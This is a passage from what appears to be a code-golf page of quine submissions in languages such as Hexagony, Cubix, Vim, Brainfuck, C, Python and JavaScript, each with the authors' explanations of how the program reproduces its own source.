there's two copies left on the first stack for later. Now we recover the character code from the two digits: ``` 2+8+2-! (1- )# ``` The bottom is a small loop that just decrements the 10-digit to zero. For each iteration we want to add 10 to the top. Remember that the first `2` is not part of the loop, so the loop body is actually `+8+2` which adds 10 (using the `2` pushed previously) and the pushes another 2. So when we're done with the loop, the first stack actually has the base-10 value and another 2. We subtract that 2 with `-` to account for the offset in the encoding and print the character with `!`. The `#` just discards the zero at the end of the bottom loop. Once this loop completes, the second stack is empty and the first stack holds all the digits in reverse order (and a `-7` at the bottom). The rest is fairly simple: ``` ( 6+ ! 8(1-)8)# ``` This is the second loop of the core, which now prints back all the digits. To do so we need to 48 to each digit to get its correct character code. We do this with a simple loop that runs `8` times and adds `6` each time. The result is printed with `!` and the `8` at the end is for the next iteration. So what about the `-7`? Yeah, `48 - 7 = 41` which is the character code of `)`. Magic! Finally, when we're done with that loop we discard the `8` we just pushed with `#` in order to ensure that we leave the outer loop on the second voice. We push all the digits again and the program terminates. [Answer] # Javascript ES6 - 21 bytes ``` $=_=>`$=${$};$()`;$() ``` I call this quine "The Bling Quine." Sometimes, you gotta golf in style. [Answer] # Vim, 11 bytes ``` q"iq"qP<Esc>hqP ``` * `iq"qP<Esc>`: Manually insert a duplicate of the text that *has to be* outside the recording. * `q"` and `hqP`: Record the inside directly into the unnamed `""` register, so it can be pasted in the middle. The `h` is the only repositioning required; if you put it inside the macro, it will be pasted into the result. **Edit** A note about recording with `q"`: The unnamed register `""` is a funny thing. It's not really a true register like the others, since text isn't stored there. It's actually a pointer to some other register (usually `"-` for deletes with no newline, `"0` for yanks, or `"1` for deletes with a newline). `q"` breaks the rules; it actually writes to `"0`. If your `""` was already pointing to some register other than `"0`, `q"` will overwrite `"0` but leave `""` unchanged. When you start a fresh Vim, `""` automatically points to `"0`, so you're fine in that case. Basically, Vim is weird and buggy. [Answer] # [Hexagony](https://github.com/m-ender/hexagony), side length ~~15 14 13~~ 12, ~~616 533 456~~ 383 bytes After several days of careful golfing, rearranging loops and starting over, I've *finally* managed to get it down to a side 12 hexagon. ``` 1845711724004994017660745324800783542810548755533855003470320302321248615173041097895645488030498537186418612923408209003405383437728326777573965676397524751468186829816614632962096935858"">./<$;-<.....>,.........==.........<"......."">'....>+'\.>.........==........<"......"">:>)<$=<..>..............$..<"...."">\'Q4;="/@>...............<"....."">P='%<.>.............<"..!'<.\=6,'/> ``` [Try it online!](https://tio.run/##bcxNSsRAEAXgsxhGGnFM6r@qne7gEXSfjQvRlW719LEyGIXBBw3V1Ffv7eXz@fXj/WtdMUQd0UkApFYBdDNwUSYJAA9WoUBQCVdV5lAFYHFgAgZiwoSGis4gCNWjqknyyLXUUHYMk3xIlVggCOrWAMrBwu4UTObu6lxNzY2rK4krikXeBdVAs/wxVctrq6yhMQzzOLXD6a6NW@bjuKf337ENP0Pqcma3ZRnnf@guE97PN@3Qs/bPnXPYVZqlPMmpD9PDhdl7kjz2ct0uOrbtVWnj0u1YpnldvwE "Hexagony – Try It Online") Unfolded: ``` 1 8 4 5 7 1 1 7 2 4 0 0 4 9 9 4 0 1 7 6 6 0 7 4 5 3 2 4 8 0 0 7 8 3 5 4 2 8 1 0 5 4 8 7 5 5 5 3 3 8 5 5 0 0 3 4 7 0 3 2 0 3 0 2 3 2 1 2 4 8 6 1 5 1 7 3 0 4 1 0 9 7 8 9 5 6 4 5 4 8 8 0 3 0 4 9 8 5 3 7 1 8 6 4 1 8 6 1 2 9 2 3 4 0 8 2 0 9 0 0 3 4 0 5 3 8 3 4 3 7 7 2 8 3 2 6 7 7 7 5 7 3 9 6 5 6 7 6 3 9 7 5 2 4 7 5 1 4 6 8 1 8 6 8 2 9 8 1 6 6 1 4 6 3 2 9 6 2 0 9 6 9 3 5 8 5 8 " " > . / < $ ; - < . . . . . > , . . . . . . . . . = = . . . . . . . . . < " . . . . . . . " " > ' . . . . > + ' \ . > . . . . . . . . . = = . . . . . . . . < " . . . . . . " " > : > ) < $ = < . . > . . . . . . . . . . . . . . $ . . < " . . . . " " > \ ' Q 4 ; = " / @ > . . . . . . . . . . . . . . . < " . . . . . " " > P = ' % < . > . . . . . . . . . . . . . < " . . ! ' < . \ = 6 , ' / > . . . . . . . . . . . . . . ``` While it doesn't look like the most golfed of Hexagony code, the type of encoding I used is optimised for longer runs of no-ops, which is something you would otherwise avoid. ### Explanation This beats the [previous Hexagony answer](https://codegolf.stackexchange.com/a/74294/76162) by encoding the no-ops (`.`) in a different way. While that answer saves space by making every other character a `.`, mine encodes the *number* of no-ops. It also means the source doesn't have to be so restricted. Here I use a base 80 encoding, where numbers below 16 indicate runs of no-ops, and numbers between 16 and 79 represent the range 32 (`!`) to 95 (`_`) (I'm just now realising I golfed all the `_`s out of my code lol). Some Pythonic pseudocode: ``` i = absurdly long number print(i) base = 80 n = i%base while n: if n < 16: print("."*(16-n)) else: print(ASCII(n+16)) i = i//base n = i%base ``` The number is encoded in the first half of the hexagon, with all the ``` " " > " " > ... etc ``` on the left side and the ``` > , < " > < " ... etc ``` on the right side redirecting the pointer to encode the number into one cell. This is taken from [Martin Ender's answer](https://codegolf.stackexchange.com/a/74294/76162) (thanks), because I couldn't figure out a more efficient way. It then enters the bottom section through the `->`: ``` " " > \ ' Q 4 ; = " / @ > . . . . . . . . . . . . . . . < " . . . . . " " > P = ' % < . > . . . . . . . . . . . . . < " . . -> ! ' < . \ = 6 , ' / > . . ``` `!` prints the number and `'` navigates to the right memory cell before starting the loop. `P='%` mods the current number by 80. If the result is 0, go up to the terminating `@`, else go down and create a cell next to the mod result with the value `-16`. ``` . " " > ' . . . . > + ' \ . > . . . . . . . . . = = . . . . . . . . < " . . . . . . " " > : > ) < $ = < . . > . . . . . . . . . . . . . . $ . . < " . . . . " " > \ ' Q 4 ; = " / @ > . . . . / / ``` Set the cell to (mod value + -16). If that value is negative, go up at the branching `>+'\`, otherwise go down. If the value is positive: ``` " " > . / < $ ; - < . . . . . > , . . . . . . . . . = = . . . . . . . . . < " . . . . . . . " " > ' . . . . > + ' \ . > . . . . . . ``` The pointer ends up at the `;-<` which sets the cell to (mod value - -16) and print it. The the value is negative: ``` . " " > ' . . . . > + ' \ . > . . . . . . . . . = = . . . . . . . . < " . . . . . . " " > : > ) < $ = < . . > . . . . . ``` Go down to the `> ) <` section which starts the loop. Here it is isolated: ``` . . > ) < $ = < . . . . . . . . . . . \ ' Q 4 ; = " / ``` Which executes the code `'Q4;="=` which prints a `.` (thanks again to Martin Ender, who wrote a [program](http://cjam.aditsu.net/#code=q%3AC%3B%27%5B%2C_el%5EA%2Cm*%7B_Ab256%25c%5C%2B%7D%25%7B0%3DC%26%7D%2C1f%3EN*&input=.) to find the letter-number combinations for characters) and moves back to the starting cell. It then increments (`)`) the mod value cell and loops again, until the mod value is positive. When that is done, it moves up and joins with the other section at: ``` " " > . / < $ ; - < . . . \ \ ``` The pointer then travels back to the start of the larger loop again ``` " " > . / <-- . . . = = . " " > ' . . . = = . " " > : . . . . . " " > \ ' . . . . . . . . . . . " " > P = ' % < . > . . . ``` This executes `='=:'` which divides the current number by 80 and navigates to the correct cell. ### Old version (Side length 13) ``` 343492224739614249922260393321622160373961419962223434213460086222642247615159528192623434203460066247203920342162343419346017616112622045226041621962343418346002622192616220391962343417346001406218603959366061583947623434"">/':=<$;'<.....>(......................<"......"">....'...>=\..>.....................<"....."">....>)<.-...>...........==......<"...."">.."...'.../>.................<"..."">\Q4;3=/.@.>...............<".."".>c)='%<..>..!'<.\1*='/.\"" ``` [Try it online!](https://tio.run/##fY/NSgUxDIWfxaKMV7DT/DS38bbFV3A/GxHRlW716cekM4jixUJ/wvnOSfr6/PH48v72ua7ExIqIfCQVYGT1ShIpEYKg7USbBqpWozsQiCWl4rWwuwUyZM1YQFE2Jg1GxFR7q9ee6Bqoa2AuATAeE2fvyqaD7kwZflc902exlG/1OFTgZI7i82YlkWRzFFKbZ1Ah9Hm6a/XyNNXoq1/Hs6uG7TaDX5OjbbHjP3qH@6HG2/ibbe0nOcCw5879fJ5BywOfqM3x/k9fJ0KI/enQpqs6el3Ylxa4adMclxDW9Qs) ~~I can most definitely golf another side length off this, but I'll have to leave it til' tomorrow because it's getting late.~~ Turns out I'm impatient and can't wait until tomorrow. ~~Maybe another side can be golfed?~~ ~~:(~~ *ahhhhhhhhh* i did it! I even golfed off a [couple of extra digits](https://tio.run/##fZPLTsMwEEX3@YoBFUUIMH7FcWhr8QMs2GfTBYIVbOHrw52x86S0o4ztyfHN9ST9ePs@vX99/gwDLX4tBfJkKCJbcpjxqq0WSAeoQbYYc@ZVoLiAAmpWqg0i4vKICEE9Ux7lFtnhCqQF1zJqChNmWBpiBtHgjhE5hwqHqyZXTopaJFtgTrZ68YfDFFBjO1e1uNbyaGa0PMbw/kw68efLITLgC@ow56N3gjZYtaVXnWSuWLEThDRsilkrXbHiIjc5Yh1xO8rRcj@zsBbRWI6bpceus7Sao0KqEYke6UA72tMDxhlIdL/Gy@yIUH/iAKU1Xab14kaiO6x6mW3gC@Ir6dzn0fkTrltxfyze0xY943W3lR2/hyzaI7@id3uIXqM5z7Po9IGpszFJzt@rmry@QK6mG/GZttglueX/6AolFughFvCCavhLW@gfd2oYfgE) with a base 77 encoding, but it doesn't really matter, since it has the same bytecount. [Answer] # [Cubix](https://github.com/ETHproductions/cubix), 20 bytes ``` 3434Qu$v@!<"OOw\o;/" ``` *Almost got the* `\o/`... **Net**: ``` 3 4 3 4 Q u $ v @ ! < " O O w \ o ; / " . . . . ``` # Try it online Try it [here](https://ethproductions.github.io/cubix/?code=MzQzNFF1JC9AITwiT093XG87LyI=)! # Additional notes ## Background story After being impressed by reading [this great answer](https://codegolf.stackexchange.com/a/103532/63774) by @ais523, I started thinking about further golfing the quine. After all, there were quite a few no-ops in there, and that didn't feel very compressed. However, as the technique his answer (and mine as well) uses, requires the code to span full lines, a saving of at least 12 bytes was needed. There was one remark in his explanation that really got me thinking: > > On the subject of golfing down this quine further, [...] it'd need [...] some other way to represent the top face of the cube [...] > > > Then, suddenly, as I stood up and walked away to get something to drink, it struck me: What if the program didn't use character codes, but rather numbers to represent the top face? This is especially short if the number we're printing has 2 digits. Cubix has 3 one-byte instructions for pushing double-digit numbers: `N`, `S` and `Q`, which push `10`, `32` and `34` respectively, so this should be pretty golfy, I thought. The first complication with this idea is that the top face is now filled with useless numbers, so we can't use that anymore. The second complication is that the top face has a size which is the cube size squared, and it needed to have an even size, otherwise one number would also end up on the starting position of the instruction pointer, leading to a polluted stack. Because of these complications, my code needed to fit on a cube of size 2 (which can contain 'only' 24 bytes, so I had to golf off at least 21 bytes). Also, because the top and bottom faces are unusable, I only had 16 effective bytes. So I started by choosing the number that would become half of the top face. I started out with `N` (10), but that didn't quite work out because of the approach I was taking to print everything. Either way, I started anew and used `S` (32) for some reason. That did result in a proper quine, or so I thought. It all worked very well, but the quotes were missing. Then, it occured to me that the `Q` (34) would be really useful. After all, 34 is the character code of the double quote, which enables us to keep it on the stack, saving (2, in the layout I used then) precious bytes. After I changed the IP route a bit, all that was left was an excercise to fill in the blanks. ## How it works The code can be split up into 5 parts. I'll go over them one by one. Note that we are encoding the middle faces in reverse order because the stack model is first-in-last-out. ### Step 1: Printing the top face The irrelevant instructions have been replaced by no-ops (`.`). The IP starts the the third line, on the very left, pointing east. The stack is (obviously) empty. ``` . . . . Q u . . . . . . O O . . . . . . . . . . ``` The IP ends at the leftmost position on the fourth line, pointing west, about to wrap around to the rightmost position on that same line. The instructions executed are (without the control flow character): ``` QOO Q # Push 34 (double quotes) to the stack OO # Output twice as number (the top face) ``` The stack contains just 34, representlng the last character of the source. ### Step 2: Encode the fourth line This bit pretty much does what you expect it to do: encode the fourth line. The IP starts on the double quote at the end of that line, and goes west while pushing the character codes of every character it lands on until it finds a matching double quote. This matching double quote is also the last character on the fourth line, because the IP wraps again when it reaches the left edge. Effectively, the IP has moved one position to the left, and the stack now contains the representation of the fourth line in character codes and reverse order. ### Step 3: Push another quote We need to push another quote, and what better way than to recycle the `Q` at the start of the program by approaching it from the right? This has the added bonus that the IP directly runs into the quote that encodes the third line. Here's the net version for this step. Irrelevant intructions have been replaced by no-ops again, the no-ops that are executed have been replaced by hashtags (`#`) for illustration purposes and the IP starts at the last character on the fourth line. ``` . . . . Q u $ . . . . . . . w \ . . / . . # . # ``` The IP ends on the third line at the first instruction, about to wrap to the end of that line because it's pointing west. The following instructions (excluding control flow) are excecuted: ``` $uQ $u # Don't do anthing Q # Push the double quote ``` This double quote represents the one at the end of the third line. ### Step 4: Encoding the third line This works exactly the same as step 2, so please look there for an explanation. ### Step 5: Print the stack The stack now contains the fourth and third lines, in reverse order, so all we need to do now, it print it. The IP starts at the penultimate instruction on the third line, moving west. Here's the relevant part of the cube (again, irrelevant parts have been replaced by no-ops). ``` . . . . . . . v @ ! < . . . . \ o ; / . . . . . ``` This is a loop, as you might have seen/expected. The main body is: ``` o; o # Print top of stack as character ; # Delete top of stack ``` The loop ends if the top item is 0, which only happens when the stack is empty. If the loop ends, the `@` is executed, ending the program. [Answer] ## Brainf\*ck (755 characters) This is based off of a technique developed by Erik Bosman (ejbosman at cs.vu.nl). Note that the "ESultanik's Quine!" text is actually necessary for it to be a quine! ``` ->++>+++>+>+>++>>+>+>+++>>+>+>++>+++>+++>+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+>++>>>+++>>>>>+++>+>>>>>>>>>>>>>>>>>>>>>>+++>>>>>>>++>+++>+++>+>>+++>>>+++>+>+++>+>++>+++>>>+>+>+>+>++>+++>+>+>>+++>>>>>>>+>+>>>+>+>++>+++>+++>+>>+++>+++>+>+++>+>++>+++>++>>+>+>++>+++>+>+>>+++>>>+++>+>>>++>+++>+++>+>>+++>>>+++>+>+++>+>>+++>>+++>>>+++++++++++++++>+++++++++++++>++++++>+++++++++++++++>++++++++++>+++>+++>++++>++++++++++++++>+++>++++++++++>++++>++++++>++>+++++>+++++++++++++++>++++++++>++++>++++++++++++>+++++++++++++++>>++++>++++++++++++++>+++>+++>++++>++++++>+++>+++++++++>++++>+>++++>++++++++++>++++>++++++++>++>++++++++++>+>+++++++++++++++>+++++++++++++ ESultanik's Quine! +[[>>+[>]+>+[<]<-]>>[>]<+<+++[<]<<+]>>+[>]+++[++++++++++>++[-<++++++++++++++++>]<.<-<] ``` [Answer] # Vim, ~~17~~, 14 keystrokes Someone randomly upvoted this, so I remembered that it exists. When I re-read it, I thought "Hey, I can do better than that!", so I golfed two bytes off. It's still not the shortest, but at least it's an improvement. --- For a long time, I've been wondering if a vim quine is possible. On one hand, it must be possible, since vim is turing complete. But after looking for a vim quine for a really long time, I was unable to find one. I *did* find [this PPCG challenge](https://codegolf.stackexchange.com/questions/2985/compose-a-vim-quine), but it's closed and not exactly about literal quines. So I decided to make one, since I couldn't find one. I'm really proud of this answer, because of two *firsts*: 1. This is the first quine I have ever made, and 2. As far as I know, this is the worlds first *vim-quine* to ever be published! I could be wrong about this, so if you know of one, please let me know. So, after that long introduction, here it is: ``` qqX"qpAq@q<esc>q@q ``` [Try it online!](https://tio.run/nexus/v#@19YGKFUWOBY6FAoDcT//wMA "V – TIO Nexus") Note that when you type this out, it will display the `<esc>` keystroke as `^[`. This is still accurate, since `^[` represents `0x1B`, which is escape [in ASCII](http://www.asciitable.com/), and the way vim internally represents the `<esc>` key. *Also* note, that testing this might fail if you load an existing vim session. I wrote a [tips](/questions/tagged/tips "show questions tagged 'tips'") answer explaining that [here](https://codegolf.stackexchange.com/a/74663/31716), if you want more information, but basically you need to launch vim with ``` vim -u NONE -N -i NONE ``` *or* type `qqq` before running this. Explanation: ``` qq " Start recording into register 'q' X " Delete one character before the cursor (Once we play this back, it will delete the '@') "qp " Paste register 'q' Aq@q<esc> " Append 'q@q' to this line q " Stop recording @q " Playback register 'q' ``` On a side note, this answer is probably a world record for most 'q's in a PPCG answer, or something. [Answer] # PostScript, 20 chars Short and legit. 20 chars including trailing newline. ``` (dup == =) dup == = ``` [Answer] # [Cubix](https://github.com/ETHproductions/cubix), 45 bytes ``` .....>...R$R....W..^".<R.!'.\)!'"R@>>o;?/o'u" ``` You can test this code [here](https://ethproductions.github.io/cubix/?code=Li4uLi4+Li4uUiRSLi4uLlcuLl4iLjxSLiEnLlwpISciUkA+Pm87Py9vJ3Ui&input=&speed=20). This program is fairly hard to follow, but to have any chance to do so, we need to start by expanding it into a cube, like the Cubix interpreter does: ``` . . . . . > . . . R $ R . . . . W . . ^ " . < R . ! ' . \ ) ! ' " R @ > > o ; ? / o ' u " . . . . . . . . . ``` This is a Befunge-style quine, which works via exploiting wrapping to make string literals "wrap around" executable code (with only one `"` mark, the code is both inside and outside the quote at the same time, something that becomes possible when you have programs that are nonlinear and nonplanar). Note that this fits our definition of a proper quine, because two of the double quotes don't encode themselves, but rather are calculated later via use of arithmetic. Unlike Befunge, though, we're using four strings here, rather than one. Here's how they get pushed onto the stack; 1. The program starts at the top of the left edge, going rightwards; it turns right twice (`R`), making it go leftwards along the third and last of the lines that wrap around the whole cube. The double quote matches itself, so we push the entire third line onto the stack backwards. Then execution continues after the double quote. 2. The `u` command does a U-turn to the right, so the next thing we're running is from `'"` onwards on the middle line. That pushes a `"` onto the stack. Continuing to wrap around, we hit the `<` near the left hand side of the cube and bounce back. When approaching from this direction, we see a plain `"` command, not `'"`, so the entire second line is pushed onto the stack backwards above the third line and the double quote. 3. We start by pushing a `!` onto the stack (`'!`) and incrementing it (`)`); this produces a double quote without needing a double quote in our source code (which would terminate the string). A mirror (`\`) reflects the execution direction up northwards; then the `W` command sidesteps to the left. This leaves us going upwards on the seventh column, which because this is a cube, wraps to leftwards on the third row, then downwards on the third column. We hit an `R`, to turn right and go leftwards along the top row; then the `$` skips the `R` via which we entered the program, so execution wraps round to the `"` at the end of the line, and we capture the first line in a string the same way that we did for the second and third. 4. The `^` command sends us northwards up the eleventh column, which is (allowing for cube wrapping) southwards on the fifth. The only thing we encounter there is `!` (skip if nonzero; the top of the stack is indeed nonzero), which skips over the `o` command, effectively making the fifth column entirely empty. So we wrap back to the `u` command, which once again U-turns, but this time we're left on the final column southwards, which wraps to the fourth column northwards. We hit a double quote during the U-turn, though, so we capture the entire fourth column in a string, from bottom to top. Unlike most double quotes in the program, this one doesn't close itself; rather, it's closed by the `"` in the top-right corner, meaning that we capture the nine-character string `...>.....`. So the stack layout is now, from top to bottom: fourth column; top row; `"`; middle row; `"`; bottom row. Each of these are represented on the stack with the first character nearest the top of the stack (Cubix pushes strings in the reverse of this order, like Befunge does, but each time the IP was moving in the opposite direction to the natural reading direction, so it effectively got reversed twice). It can be noted that the stack contents are almost identical to the original program (because the fourth column, and the north/top face of the cube, contain the same characters in the same order; obviously, it was designed like that intentionally). The next step is to print the contents of the stack. After all the pushes, the IP is going northwards on the fourth column, so it hits the `>` there and enters a tight loop `>>o;?` (i.e. "turn east, turn east, output as character, pop, turn right if positive"). Because the seventh line is full of NOPs, the `?` is going to wrap back to the first `>`, so this effectively pushes the entire contents of the stack (`?` is a no-op on an empty stack). We almost printed the entire program! Unfortunately, it's not quite done yet; we're missing the double-quote at the end. Once the loop ends, we reflect onto the central line, moving west, via a pair of mirrors. (We used the "other side" of the `\` mirror earlier; now we're using the southwest side. The `/` mirror hasn't been used before.) We encounter `'!`, so we push an exclamation mark (i.e. 33; we're using ASCII and Cubix doesn't distinguish between integers and characters) onto the stack. (Conveniently, this is the same `!` which was used to skip over the `o` command earlier.) We encounter a pair of `R` commands and use them to make a "manual" U-turn (the second `R` command here was used earlier in order to reach the first row, so it seemed most natural to fit another `R` command alongside it.) The execution continues along a series of NOPs until it reaches the `W` command, to sidestep to the left. The sidestep crashes right into the `>` command on the second line, bouncing execution back exactly where it was. So we sidestep to the left again, but this time we're going southwards, so the next command to execute is the `)` (incrementing the exclamation mark into a double quote), followed by an `o` (to output it). Finally, execution wraps along the eighth line to the second column, where it finds a `@` to exit the program. I apologise for the stray apostrophe on the third line. It doesn't do anything in this version of the program; it was part of an earlier idea I had but which turned out not to be necessary. However, once I'd got a working quine, I just wanted to submit it rather than mess around with it further, especially as removing it wouldn't change the byte count. On the subject of golfing down this quine further, it wouldn't surprise me if this were possible at 3×3 by only using the first five lines, but I can't see an obvious way to do that, and it'd need even tighter packing of all the control flow together with some other way to represent the top face of the cube (or else modifying the algorithm so that it can continue to use the fourth column even though it'd now be ten or eleven characters long). [Answer] # Python 2, 30 bytes ``` _='_=%r;print _%%_';print _%_ ``` [Taken from here](https://web.archive.org/web/20130701215340/http://en.literateprograms.org/Quine_(Python)) [Answer] # [Hexagony](https://github.com/m-ender/hexagony), 261 bytes, side length 10 ``` 113009344778658560261693601386118648881408495353228771273368412312382314076924170567897137624629445942109467..../....%'=g':..\..................\.................\................\...............\..............\.............\............\!$/'?))='%<\..>:;/$;4Q/ ``` [Try it online!](https://tio.run/##hYk7DsIwEETPgpTISmPvz7vrhMAZ6N1QoFBBC6c3pkbAaPSkN3O9PM7b/fZsDZEBCouYuWbPCqSohRWQXRFdxd1RwKVkzkzkZkjGrC5I3OudAqaFBA2ymhdDNiVRKiK5CCEUUYs96Y0xrFuYY6zxI/X/Un97/W51N6RwnKY1jPt@HOYlDYucUmsv "Hexagony – Try It Online") Uses the same encoding [user202729's answer](https://codegolf.stackexchange.com/a/156271/76162), but terminates in a divide by zero error. Formatted, this looks like: ``` 1 1 3 0 0 9 3 4 4 7 7 8 6 5 8 5 6 0 2 6 1 6 9 3 6 0 1 3 8 6 1 1 8 6 4 8 8 8 1 4 0 8 4 9 5 3 5 3 2 2 8 7 7 1 2 7 3 3 6 8 4 1 2 3 1 2 3 8 2 3 1 4 0 7 6 9 2 4 1 7 0 5 6 7 8 9 7 1 3 7 6 2 4 6 2 9 4 4 5 9 4 2 1 0 9 4 6 7 . . . . / . . . . % ' = g ' : . . \ . . . . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . \ . . . . . . . . . . . . . \ . . . . . . . . . . . . \ ! $ / ' ? ) ) = ' % < \ . . > : ; / $ ; 4 Q / . . . . . . . . . . ``` [Try it online!](https://tio.run/##hZC9DsIwDIT3PsUhtapY6F@atEDhGdi7MKAywQpPH84mBAbU9iTbtb@cnFwvj/N0vz29R/wqqkFJ9cyGckkcOnSwaBlb5hI1YxXHVo9IXyyEFLMuiWPDpqhiVTIbHmjRBIAVDWv2HVWxcuyIYbAw2mxC7EItVg5WkZ49oRx7sqHs26tZ82EEsIy93q3VXBMotbJ6201QEasMOQZMjFv9H5M4mtP4YzZPLUOAXnGRemOLVMCW1ppDIoAVUj5WjiPW1MAqw/5nrviBb7cjljIanFB8x//svX8B "Hexagony – Try It Online") Some python-like psuedo-code to explain: ``` n = ridiculously long number base = 103 print(n) while n > 0: b = 2 if n%b == 1: c = '.' print(c) else: n = n//b b = base c = chr(n%b + 1) print(c) n = n//b ``` I'm using base 103 rather than the optimal base 97 just to make sure the number fully fits the top half of the hexagon and doesn't leave an extra `.` to encode. Here's a [link](https://tio.run/##jZJPU4MwEMXv@RRPploilv7RE5Z60ItHp0frIUIgGSl0Qsb22@MmYMdTMZmE7L5fdl52UKL9klXVdXp/aIzFi7AiflbCMCbrrMklkgRba3RdYrbBa21lKc2v1lqkKDBBoSsrDcK6sbFutweRSU4qw1FJIxkxQYB@pFi4OJzG08Qty30Ni9sVoqWXMgX4PAN0gcU6zXWpLW5u4A/rT9FSUVgla4T@LlwKUa9zileky4py0piGnAXuUSJzLgNEEd4z9eG@AXQLso1vUek84HTNe@4rkTXbDI9G2JgcmeKYoSmKVlrG9kLXxGgiXHHqRKuaYxzuTrNNeLpDJevSqiGNE@dx3znGvN8Uy8U964u5oOuAeJjz8@kaUxJL2hMf79hZujQJ@yc1DgEOG6d6bJQasDFbl5AzgCtq75ya8wQO9y9NqWHrP7rHN9S7R8ImtD/gDfMf) to user202729's encoder that I used to get the large number and check that the number actually fit in the hexagon. [Answer] # C, ~~64~~ 60 bytes ``` main(s){printf(s="main(s){printf(s=%c%s%1$c,34,s);}",34,s);} ``` This may segfault on 64-bit systems with some compilers, such as newest Clang, due to the type of `s` being interpreted as 32-bit `int` instead of a pointer. So far, this is the shortest known C quine. There's an [extended bounty](https://codegolf.meta.stackexchange.com/a/12581/61563) if you find a shorter one. This works in [GCC](https://tio.run/##S9ZNT07@/z83MTNPo1izuqAoM68kTaPYVglDRDVZtVjVUCVZx9hEp1jTulYJxvj/HwA), [Clang](https://tio.run/##S9ZNzknMS///PzcxM0@jWLO6oCgzryRNo9hWCUNENVm1WNVQJVnH2ESnWNO6VgnG@P8fAA), and [TCC](https://tio.run/##S9YtSU7@/z83MTNPo1izuqAoM68kTaPYVglDRDVZtVjVUCVZx9hEp1jTulYJxvj/HwA) in a [POSIX](https://en.wikipedia.org/wiki/POSIX) environment. It invokes an excessive amount of undefined behavior with all of them. Just for fun, here's a [repo](https://github.com/aaronryank/quines/tree/master/c) that contains all the C quines I know of. Feel free to fork/PR if you find or write a different one that adds something new and creative over the existing ones. Note that it only works in an [ASCII](https://en.wikipedia.org/wiki/ASCII) environment. [This](https://pastebin.com/raw/MESjTMQt) works for [EBCDIC](https://en.wikipedia.org/wiki/EBCDIC), but still requires [POSIX](https://en.wikipedia.org/wiki/POSIX). Good luck finding a POSIX/EBCDIC environment anyway :P --- How it works: 1. `main(s)` abuses `main`'s arguments, declaring a virtually untyped variable `s`. (Note that `s` is not actually untyped, but since listed compilers auto-cast it as necessary, it might as well be\*.) 2. `printf(s="..."` sets `s` to the provided string and passes the first argument to `printf`. 3. `s` is set to `main(s){printf(s=%c%s%1$c,34,s);}`. 4. The `%c` is set to ASCII `34`, `"`. This makes the quine possible. Now `s` looks like this: `main(s){printf(s="%s%1$c,34,s);}`. 5. The `%s` is set to `s` itself, which is possible due to #2. Now `s` looks like this: `main(s){printf(s="main(s){printf(s=%c%s%1$c,34,s);}%1$c,34,s);}`. 6. The `%1$c` is set to ASCII 34 `"`, `printf`'s first\*\* argument. Now `s` looks like this: `main(s){printf(s="main(s){printf(s=%c%s%1$c,34,s);}",34,s);}` ... which just so happens to be the original source code. \* [Example](https://tio.run/##S9ZNT07@/185My85pzQlVcGmuCQlM18vw46LKzOvRCE3MTNPoyw/M0WTq5pLAQhAghkKtgpKHqk5Ofk6CuH5RTkpikrWYMmC0pJijQxNa67a//8B) thanks to @Pavel \*\* first argument after the format specifier - in this case, `s`. It's impossible to reference the format specifier. --- I think it's impossible that this will get any shorter with the same approach. If `printf`'s format specifier was accessible via `$`, this would work for 52 bytes: ``` main(){printf("main(){printf(%c%0$s%1$c,34);}",34);} ``` --- Also here's a longer 64-byte version that will work on all combinations of compilers and ASCII environments that support the POSIX printf `$` extension: ``` *s;main(){printf(s="*s;main(){printf(s=%c%s%1$c,34,s);}",34,s);} ``` [Answer] # [Lost](https://github.com/Wheatwizard/Lost), ~~120 116 98 96 76 70~~ 66 bytes Edit: yay, under 100 Edit: Saved a bunch o' bytes by switching to all `/`s on the bottom line ``` :2+52*95*2+>::1?:[:[[[[@^%?>([ " //////////////////////////////// ``` [Try it online!](https://tio.run/##y8kvLvn/38pI29RIy9JUy0jbzsrK0N4q2ioaCBziVO3tNKIVlLj0CQCu////6zoCAA) + [verification it's deterministic for all possible states](https://tio.run/##y8kvLvn/38pI29RIy9JUy0jbzsrK0N4q2ioaCBziVO3tNKIVlLj0CQCu////6zoGAgA) Lost is a 2D language in which the starting position and direction are completely random. This means there has to be a lot of error-checking at every stage to make sure you've got the correct instruction pointer, and it isn't one that has just wandered in randomly. ### Explanation: All the `/`s on the bottom line are there to make sure that all the pointers that spawn in a vertical direction or on the bottom line get funneled in the right direction. From there, they end up at several different places, but all of them end up going right into the ``` ^%?> //// ``` Which clears out all the non-zero numbers in the stack. The `([` after that clears out any extra 0s as well. In the middle of the clear, it hits the `%`, which turns the 'safety' off, which allows the program to end when it hits the `@` (without this, the program could end immediately if a pointer started at the `@`). From there it does a pretty simple 2D language quine, by wrapping a string literal (`"`) around the first line, pushing a `"` character by duping a space (`:2+`) and then a newline (`52*`). For the second line, it creates a `/` character (`95*2+`) and duplicates it a bunch (`>::1?:[:[[[[`), before finally ending at the `@` and printing the stack implicitly. The `?1` is to stop the process from creating too many 0s if the pointer enters early, saving on having to clear them later. I saved 20 bytes here by making the last line all the same character, meaning I could go straight from the duping process into the ending `@`. ### Explanation about the duping process: `[` is a character known as a 'Door'. If the pointer hits the flat side of a `[` or a `]` , it reflects, else it passes through it. Each time the pointer interacts with a Door, it switches to the opposite type. Using this knowledge we can construct a simple formula for how many times an instruction will execute in a `>:[` block. Add the initial amount of instructions. For each `[`, add 2 times the amount of instructions to the left of it. For the example `>::::[:[[[`, we start with 5 as the initial amount. The first Door has 4 dupe instructions, so we add 4\*2=8 to 5 to get 13. The other three Doors have 5 dupes to their left, so we add 3\*(5\*2)=30 to 13 to get 43 dupe instructions executed, and have 44 `>`s on the stack. The same process can be applied to other instructions, such as `(` to push a large amount of items from the stack to the scope, or as used here, to clear items from the stack. A trick I've used here to avoid duping too many 0s is the `1?`. If the character is 0, the `?` doesn't skip the 1, which means it duplicates 1 for the remainder of the dupe. This makes it *much* easier to clear the stack later on. [Answer] # [Chicken](http://esolangs.org/wiki/Chicken), 7 ``` chicken ``` No, this is not directly echoed :) [Answer] ## Cross-browser JavaScript (41 characters) It works in the top 5 web browsers (IE >= 8, Mozilla Firefox, Google Chrome, Safari, Opera). Enter it into the developer's console in any one of those: ``` eval(I="'eval(I='+JSON.stringify(I)+')'") ``` It's not "cheating" — unlike Chris Jester-Young's single-byte quine, as it could easily be modified to use the `alert()` function (costing 14 characters): ``` 